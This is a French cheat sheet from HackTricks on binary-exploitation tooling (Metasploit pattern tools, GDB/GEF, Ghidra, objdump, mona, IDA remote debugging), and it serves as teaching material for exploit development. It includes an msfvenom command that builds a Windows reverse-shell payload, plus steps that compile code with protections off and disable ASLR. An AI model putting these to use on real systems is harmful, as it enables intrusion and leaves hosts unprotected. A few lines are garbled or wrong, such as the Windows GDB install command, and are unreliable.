☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! - Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) - Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) - **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
# Metasploit ``` pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` ## Shellcodes Les shellcodes ``` msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` # GDB ## Installation ### Linux Pour installer GDB sur Linux, utilisez la commande suivante : ``` sudo apt-get install gdb ``` ### MacOS Pour installer GDB sur MacOS, utilisez Homebrew : ``` brew install gdb ``` ### Windows Pour installer GDB sur Windows, vous pouvez utiliser MinGW ou Cygwin. ``` apt-get install gdb ``` ## Paramètres **-q** --> Ne pas afficher la bannière\ **-x \** --> Exécuter automatiquement les instructions GDB à partir d'ici\ **-p \** --> Se connecter au processus ### Instructions \> **disassemble main** --> Désassembler la fonction\ \> **disassemble 0x12345678**\ \> **set disassembly-flavor intel**\ \> **set follow-fork-mode child/parent** --> Suivre le processus créé\ \> **p system** --> Trouver l'adresse de la fonction system\ \> **help**\ \> **quit** \> **br func** --> Ajouter un point d'arrêt à la fonction\ \> **br \*func+23**\ \> **br \*0x12345678**\ **> del NUM** --> Supprimer ce nombre de points d'arrêt\ \> **watch EXPRESSION** --> Interrompre si la valeur change **> run** --> Exécuter\ **> start** --> Démarrer et interrompre dans main\ \> **n/next** --> Exécuter l'instruction suivante (pas à l'intérieur)\ \> **s/step** --> Exécuter l'instruction suivante\ \> **c/continue** --> Continuer jusqu'au prochain point d'arrêt \> **set $eip = 0x12345678** --> Changer la valeur de $eip\ \> **info functions** --> Informations sur les fonctions\ \> **info functions func** --> Informations sur la fonction\ \> **info registers** --> Valeur des registres\ \> **bt** --> Pile\ \> **bt full** --> Pile détaillée \> **print variable**\ \> **print 0x87654321 - 0x12345678** --> Calculer\ \> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> Affiche le contenu en octal/hexadécimal/10/binaire/instruction/ascii * **x/o 0xDir\_hex** * **x/2x $eip** --> 2 mots à partir de EIP * **x/2x $eip -4** --> $eip - 4 * **x/8xb $eip** --> 8 octets (b-> octet, h-> 2 octets, w-> 4 octets, g-> 8 octets) * **i r eip** --> Valeur de $eip * **x/w pointer** --> Valeur du pointeur * **x/s pointer** --> Chaîne pointée par le pointeur * **x/xw \&pointer** --> Adresse où se trouve le pointeur * **x/i $eip** —> Instructions de EIP ## [GEF](https://github.com/hugsy/gef) ```bash checksec #Check protections p system #Find system function address search-pattern "/bin/sh" #Search in the process memory vmmap #Get memory mappings #Shellcode shellcode search x86 #Search shellcodes shellcode get 61 #Download shellcode number 61 #Patterns pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp #Another way to get the offset of to the RIP 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: rip = 0x400cd3; saved rip = 0x6261617762616176 called by frame at 0x7fffffffddd8 Arglist at 0x7fffffffdcf8, args: Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 Saved registers: rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` ## Astuces ### Mêmes adresses GDB Lors du débogage, GDB aura des **adresses légèrement différentes de celles utilisées par le binaire lors de son exécution.** Vous pouvez faire en sorte que GDB ait les mêmes adresses en faisant : * `unset env LINES` * `unset env COLUMNS` * `set env _=` _Mettez le chemin absolu vers le binaire_ * Exploitez le binaire en utilisant le même chemin absolu * `PWD` et `OLDPWD` doivent être les mêmes lors de l'utilisation de GDB et lors de l'exploitation du binaire ### Backtrace pour trouver les fonctions appelées Lorsque vous avez un binaire **lié statiquement**, toutes les fonctions appartiendront au binaire (et non à des bibliothèques externes). Dans ce cas, il sera difficile d'**identifier le flux que suit le binaire pour demander par exemple une entrée utilisateur**.\ Vous pouvez facilement identifier ce flux en **exécutant** le binaire avec **gdb** jusqu'à ce que vous soyez invité à entrer une entrée. Ensuite, arrêtez-le avec **CTRL+C** et utilisez la commande **`bt`** (**backtrace**) pour voir les fonctions appelées : ``` gef➤ bt #0 0x00000000004498ae in ?? () #1 0x0000000000400b90 in ?? () #2 0x0000000000400c1d in ?? () #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` ## Serveur GDB `gdbserver --multi 0.0.0.0:23947` (dans IDA, vous devez remplir le chemin absolu de l'exécutable dans la machine Linux et dans la machine Windows) # Ghidra ## Trouver l'offset de la pile **Ghidra** est très utile pour trouver l'**offset** pour un **débordement de tampon grâce aux informations sur la position des variables locales.**\ Par exemple, dans l'exemple ci-dessous, un débordement de tampon dans `local_bc` indique que vous avez besoin d'un offset de `0xbc`. De plus, si `local_10` est un cookie canary, cela indique que pour l'écraser depuis `local_bc`, il y a un offset de `0xac`.\ _Rappelez-vous que les premiers 0x08 à partir desquels le RIP est enregistré appartiennent au RBP._ ![](<../../.gitbook/assets/image (616).png>) # GCC **gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compiler sans protections\ **-o** --> Sortie\ **-g** --> Enregistrer le code (GDB pourra le voir)\ **echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Pour désactiver l'ASLR sous Linux **Pour compiler un shellcode:**\ **nasm -f elf assembly.asm** --> retourne un ".o"\ **ld assembly.o -o shellcodeout** --> Exécutable # Objdump **-d** --> **Désassembler les sections** exécutables (voir les opcodes d'un shellcode compilé, trouver des gadgets ROP, trouver l'adresse de la fonction...)\ **-Mintel** --> Syntaxe **Intel**\ **-t** --> Table des **symboles**\ **-D** --> **Désassembler tout** (adresse de la variable statique)\ **-s -j .dtors** --> Section **dtors**\ **-s -j .got** --> Section **got**\ \-D -s -j .plt --> Section **plt** **décompilée**\ **-TR** --> **Relocations**\ **ojdump -t --dynamic-relo ./exec | grep puts** --> Adresse de "puts" à modifier dans GOT\ **objdump -D ./exec | grep "VAR\_NAME"** --> Adresse ou variable statique (celles-ci sont stockées dans la section DATA). # Core dumps 1. Exécutez `ulimit -c unlimited` avant de démarrer mon programme 2. Exécutez `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 3. sudo gdb --core=\ --quiet # Plus **ldd executable | grep libc.so.6** --> Adresse (si ASLR, alors cela change à chaque fois)\ **for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Boucle pour voir si l'adresse change beaucoup\ **readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset de "system"\ **strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset de "/bin/sh" **strace executable** --> Fonctions appelées par l'exécutable\ **rabin2 -i ejecutable -->** Adresse de toutes les fonctions # **Inmunity debugger** ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` # IDA ## Débogage à distance sur Linux Dans le dossier IDA, vous pouvez trouver des binaires qui peuvent être utilisés pour déboguer un binaire sur un système Linux. Pour ce faire, déplacez le binaire _linux\_server_ ou _linux\_server64_ sur le serveur Linux et exécutez-le dans le dossier qui contient le binaire : ``` ./linux_server64 -Ppass ``` Ensuite, configurez le débogueur : Débogueur (remote linux) --> Options de processus... : ![](<../../.gitbook/assets/image (101).png>)